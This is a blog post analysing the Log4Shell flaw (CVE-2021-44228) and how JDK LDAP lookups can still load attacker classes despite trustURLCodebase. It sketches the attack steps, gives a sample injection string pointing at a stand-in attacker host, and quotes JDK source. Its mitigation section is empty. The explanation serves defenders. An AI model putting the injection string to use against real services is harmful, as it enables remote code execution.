Why trustURLCodebase may not save you from Log4j2 LDAP vulnerability (CVE-2021–44228)

What’s wrong with Log4j2?

  1. Spin up a server that returns a class definition — e.g. an HTTP one.
  2. Spin up an LDAP server that returns a URI to a class definition and a serialized object of the aforementioned class.
  3. Supply some data that will be logged directly (i.e. without any special symbols escaping) to a vulnerable app.
    E.g. there’s a microservice (well, it’s 2014+, so I don’t have much choice) that logs an HTTPS request’s query parameters via Log4j2, so an attacker sends LDAP URI similar to ${jndi:ldap://im-hacker.com/expl0it} as one of the query parameter of their request, and that does the trick — if #1 and #2 above are satisfied, that is.

How does LDAP lookup work in JDK?

/*
* Decode an object from LDAP attribute(s).
* The object may be a Reference, or a Serialized object.
*
* See encodeObject() and encodeReference() for details on formats
* expected.
*/
static Object decodeObject(Attributes attrs)
throws NamingException {

Attribute attr;

// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
...
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}

attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
...
}
  1. In case javaSerializedData attr (JAVA_ATTRIBUTES[SERIALIZED_DATA]) is present — codebases is passed to com.sun.jndi.ldap.VersionHelper#getURLClassLoader, which honors trustURLCodebase Java property (see com.sun.jndi.ldap.VersionHelper#trustURLCodebase).
  2. In case javaRemoteLocation attr (JAVA_ATTRIBUTES[CLASSNAME]) is present — com.sun.jndi.ldap.Obj#decodeRmiObject is invoked.
  3. In case objectClass attr (JAVA_ATTRIBUTES[OBJECT_CLASS]) is present — com.sun.jndi.ldap.Obj#decodeReference is invoked.

Case #2

Attributes attrs;
...
try {
return DirectoryManager.getObjectInstance(obj, name,
this, envprops, attrs);

} catch (NamingException e) {
...
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

ObjectFactory factory;

ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
/*
* Restore a Reference object from several LDAP attributes
*/
private static Reference decodeReference(Attributes attrs,
String[] codebases) throws NamingException, IOException {

Attribute attr;
String className;
String factory = null;

...
Reference ref = new Reference(className, factory,
(codebases != null? codebases[0] : null));

/*
* string encoding of a RefAddr is either:
*
* #posn#<type>#<address>
* or
* #posn#<type>##<base64-encoded address>
*/
if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

String val, posnStr, type;
char separator;
int start, sep, posn;
Base64.Decoder decoder = null;

ClassLoader cl = helper.getURLClassLoader(codebases);
...
return (ref);
}

What to do?

--

--

--

Software Whatever from Kharkov, Ukraine.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

API Security: The Complete Guide

How I Hacked A Crypto Company And Could Steal 1 Million Dollars Worth of Bitcoin

5Degrees is now live on OKXChain!

{UPDATE} Solitaire Masters Hack Free Resources Generator

Call to Action: Verifiable Credentials & COVID-19

{UPDATE} Stealth Wobble Hack Free Resources Generator

{UPDATE} QONQR: World in Play Hack Free Resources Generator

{UPDATE} World Truck Ball Hack Free Resources Generator

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Alexander Kiselyov

Alexander Kiselyov

Software Whatever from Kharkov, Ukraine.

More from Medium

Difference between Static and Dynamic libraries in C

R6 Operator Ban To Win Ratio

Travel vlog — Boston — Part 1

Night driving